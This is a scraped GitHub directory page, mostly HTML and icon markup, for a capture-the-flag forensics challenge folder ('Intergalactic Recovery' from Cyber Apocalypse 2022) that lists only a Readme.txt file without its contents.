version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this user </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
</div> </label></form> </div></div>
</div>
<div class="position-relative mr-lg-3 d-lg-inline-block"> Sign in </div>
Sign up </div> </div> </div> </div></header>
</div>
<div id="start-of-content" class="show-on-focus"></div>
<div id="js-flash-container" data-turbo-replace>
<template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class="px-2" > <button autofocus class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div aria-atomic="true" role="alert" class="js-flash-alert"> <div>{{ message }}</div>
</div> </div></div> </template></div>
<include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment>
<div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" >
<div id="repository-container-header" class="pt-3 hide-full-screen" style="background-color: var(--color-page-header-bg);" data-turbo-replace>
<div class="d-flex flex-wrap flex-justify-end mb-3 px-3 px-md-4 px-lg-5" style="gap: 1rem;">
<div class="flex-auto min-width-0 width-fit mr-3"> <div class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-fg-muted mr-2"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <span> lukaszhandy </span> <span>/</span> ctfs
<span></span><span>Public</span> </div>
</div>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell mr-2"> <path d="M8 16a2 2 0 0 0 1.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 0 0 8 16ZM3 5a5 5 0 0 1 10 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.519 1.519 0 0 1 13.482 13H2.518a1.516 1.516 0 0 1-1.263-2.36l1.703-2.554A.255.255 0 0 0 3 7.947Zm5-3.5A3.5 3.5 0 0 0 4.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.017.017 0 0 0-.003.01l.001.006c0 .002.002.004.004.006l.006.004.007.001h10.964l.007-.001.006-.004.004-.006.001-.007a.017.017 0 0 0-.003-.01l-1.703-2.554a1.745 1.745 0 0 1-.294-.97V5A3.5 3.5 0 0 0 8 1.5Z"></path></svg>Notifications
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked mr-2"> <path d="M5 5.372v.878c0 .414.336.75.75.75h4.5a.75.75 0 0 0 .75-.75v-.878a2.25 2.25 0 1 1 1.5 0v.878a2.25 2.25 0 0 1-2.25 2.25h-1.5v2.128a2.251 2.251 0 1 1-1.5 0V8.5h-1.5A2.25 2.25 0 0 1 3.5 6.25v-.878a2.25 2.25 0 1 1 1.5 0ZM5 3.25a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Zm6.75.75a.75.75 0 1 0 0-1.5.75.75 0 0 0 0 1.5Zm-3 8.75a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Z"></path></svg>Fork <span>0</span>
<div data-view-component="true" class="BtnGroup d-flex"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom d-inline-block mr-2"> <path d="M8 .25a.75.75 0 0 1 .673.418l1.882 3.815 4.21.612a.75.75 0 0 1 .416 1.279l-3.046 2.97.719 4.192a.751.751 0 0 1-1.088.791L8 12.347l-3.766 1.98a.75.75 0 0 1-1.088-.79l.72-4.194L.818 6.374a.75.75 0 0 1 .416-1.28l4.21-.611L7.327.668A.75.75 0 0 1 8 .25Zm0 2.445L6.615 5.5a.75.75 0 0 1-.564.41l-3.097.45 2.24 2.184a.75.75 0 0 1 .216.664l-.528 3.084 2.769-1.456a.75.75 0 0 1 .698 0l2.77 1.456-.53-3.084a.75.75 0 0 1 .216-.664l2.24-2.183-3.096-.45a.75.75 0 0 1-.564-.41L8 2.694Z"></path></svg><span> Star</span> <span>0</span> <button disabled="disabled" aria-label="You must be signed in to add this repository to a list" type="button" data-view-component="true" class="btn-sm btn BtnGroup-item px-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg></button></div>
</div>
<div id="responsive-meta-container" data-turbo-replace></div>
<nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5">
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path d="m11.28 3.22 4.25 4.25a.75.75 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.275-.326.749.749 0 0 1 .215-.734L13.94 8l-3.72-3.72a.749.749 0 0 1 .326-1.275.749.749 0 0 1 .734.215Zm-6.56 0a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042L2.06 8l3.72 3.72a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L.47 8.53a.75.75 0 0 1 0-1.06Z"></path></svg> <span>Code</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path><path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Z"></path></svg> <span>Issues</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 3.25a2.25 2.25 0 1 1 3 2.122v5.256a2.251 2.251 0 1 1-1.5 0V5.372A2.25 2.25 0 0 1 1.5 3.25Zm5.677-.177L9.573.677A.25.25 0 0 1 10 .854V2.5h1A2.5 2.5 0 0 1 13.5 5v5.628a2.251 2.251 0 1 1-1.5 0V5a1 1 0 0 0-1-1h-1v1.646a.25.25 0 0 1-.427.177L7.177 3.427a.25.25 0 0 1 0-.354ZM3.75 2.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm0 9.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm8.25.75a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Z"></path></svg> <span>Pull requests</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Zm4.879-2.773 4.264 2.559a.25.25 0 0 1 0 .428l-4.264 2.559A.25.25 0 0 1 6 10.559V5.442a.25.25 0 0 1 .379-.215Z"></path></svg> <span>Actions</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-table UnderlineNav-octicon d-none d-sm-inline"> <path d="M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25ZM6.5 6.5v8h7.75a.25.25 0 0 0 .25-.25V6.5Zm8-1.5V1.75a.25.25 0 0 0-.25-.25H6.5V5Zm-13 1.5v7.75c0 .138.112.25.25.25H5v-8ZM5 5V1.5H1.75a.25.25 0 0 0-.25.25V5Z"></path></svg> <span>Projects</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path d="M7.467.133a1.748 1.748 0 0 1 1.066 0l5.25 1.68A1.75 1.75 0 0 1 15 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.697 1.697 0 0 1-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 0 1 1.217-1.667Zm.61 1.429a.25.25 0 0 0-.153 0l-5.25 1.68a.25.25 0 0 0-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.196.196 0 0 0 .154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.251.251 0 0 0-.174-.237l-5.25-1.68ZM8.75 4.75v3a.75.75 0 0 1-1.5 0v-3a.75.75 0 0 1 1.5 0ZM9 10.5a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>Security</span> <include-fragment src="/lukaszhandy/ctfs/security/overall-count" accept="text/fragment+html"></include-fragment>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 1.75V13.5h13.75a.75.75 0 0 1 0 1.5H.75a.75.75 0 0 1-.75-.75V1.75a.75.75 0 0 1 1.5 0Zm14.28 2.53-5.25 5.25a.75.75 0 0 1-1.06 0L7 7.06 4.28 9.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.25-3.25a.75.75 0 0 1 1.06 0L10 7.94l4.72-4.72a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042Z"></path></svg> <span>Insights</span> <span></span>
<div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3ZM1.5 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Zm13 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path></svg> <span>More</span> </div></summary> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Security Insights </details-menu></details></div></nav>
</div>
<turbo-frame id="repo-content-turbo-frame" target="_top" data-turbo-action="advance" class=""> <div id="repo-content-pjax-container" class="repository-content " >
<div class="clearfix container-xl px-3 px-md-4 px-lg-5 mt-4"> <div >
<div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="js-branch-select-menu details-reset details-overlay mr-0 mb-0 " id="branch-select-menu" data-hydro-click-payload="{"event_type":"repository.click","payload":{"target":"REFS_SELECTOR_MENU","repository_id":494162197,"originating_url":"https://github.com/lukaszhandy/ctfs/tree/main/Cyber%20Apocalypse%202022%20Intergalactic%20Chase/forensic/Intergalactic%20Recovery","user_id":null}}" data-hydro-click-hmac="ca9fa60cbd1db2b41ac4919c7dafa86c500dfc2d2b667a9aa1912b3087364e46"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path d="M9.5 3.25a2.25 2.25 0 1 1 3 2.122V6A2.5 2.5 0 0 1 10 8.5H6a1 1 0 0 0-1 1v1.128a2.251 2.251 0 1 1-1.5 0V5.372a2.25 2.25 0 1 1 1.5 0v1.836A2.493 2.493 0 0 1 6 7h4a1 1 0 0 0 1-1v-.628A2.25 2.25 0 0 1 9.5 3.25Zm-6 0a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Zm8.25-.75a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5ZM4.25 12a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Z"></path></svg> <span>main</span> <span></span> </summary>
<div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </header>
<input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div>
<div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div>
<div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" tabindex="" class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/lukaszhandy/ctfs/refs" cache-key="v0:1652982039.087219" current-committish="bWFpbg==" default-branch="bWFpbg==" name-with-owner="bHVrYXN6aGFuZHkvY3Rmcw==" prefetch-on-mouseover >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<footer class="SelectMenu-footer">View all branches</footer> </ref-selector>
</div>
<div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" tabindex="" hidden class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/lukaszhandy/ctfs/refs" cache-key="v0:1652982039.087219" current-committish="bWFpbg==" default-branch="bWFpbg==" name-with-owner="bHVrYXN6aGFuZHkvY3Rmcw==" >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div>
</details>
</div>
<div class="Overlay--hidden Overlay-backdrop--center" data-modal-dialog-overlay> <modal-dialog role="dialog" id="warn-tag-match-create-branch-dialog" aria-modal="true" aria-labelledby="warn-tag-match-create-branch-dialog-header" data-view-component="true" class="Overlay Overlay--width-large Overlay--height-auto Overlay--motion-scaleFade"> <header class="Overlay-header Overlay-header--large Overlay-header--divided"> <div class="Overlay-headerContentWrap"> <div class="Overlay-titleWrap"> <h1 id="warn-tag-match-create-branch-dialog-header" class="Overlay-title">Name already in use</h1> </div> <div class="Overlay-actionWrap"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" aria-label="Close" type="button" data-view-component="true" class="close-button Overlay-closeButton"><svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </div> </div> </header> <div class="Overlay-body "> <div data-view-component="true"> A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?</div>
</div> <footer class="Overlay-footer Overlay-footer--alignEnd"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn"> Cancel</button> <button data-submit-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn-danger btn"> Create</button> </footer></modal-dialog></div>
<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>ctfs</span></span></span><span>/</span><span><span>Cyber Apocalypse 2022 Intergalactic Chase</span></span><span>/</span><span><span>forensic</span></span><span>/</span>Intergalactic Recovery<span>/</span> </div> </div>
<div class="d-flex"> Go to file </div> </div>
<div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>ctfs</span></span></span><span>/</span><span><span>Cyber Apocalypse 2022 Intergalactic Chase</span></span><span>/</span><span><span>forensic</span></span><span>/</span>Intergalactic Recovery<span>/</span></div>
<div class="Box mb-3" > <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-2 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/lukaszhandy/ctfs/tree-commit/2a0c81d9f60ff2b74ce6b109a62df9e7e0f309c2/Cyber%20Apocalypse%202022%20Intergalactic%20Chase/forensic/Intergalactic%20Recovery" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path d="m.427 1.927 1.215 1.215a8.002 8.002 0 1 1-1.6 5.685.75.75 0 1 1 1.493-.154 6.5 6.5 0 1 0 1.18-4.458l1.358 1.358A.25.25 0 0 1 3.896 6H.25A.25.25 0 0 1 0 5.75V2.104a.25.25 0 0 1 .427-.177ZM7.75 4a.75.75 0 0 1 .75.75v2.992l2.028.812a.75.75 0 0 1-.557 1.392l-2.5-1A.751.751 0 0 1 7 8.25v-3.5A.75.75 0 0 1 7.75 4Z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2>
<include-fragment src="/lukaszhandy/ctfs/file-list/main/Cyber%20Apocalypse%202022%20Intergalactic%20Chase/forensic/Intergalactic%20Recovery"> Permalink
<div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> Failed to load latest commit information.
</div> <div class="js-details-container Details" data-hpc> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block"> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div>
<div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>Readme.txt</span> </div>
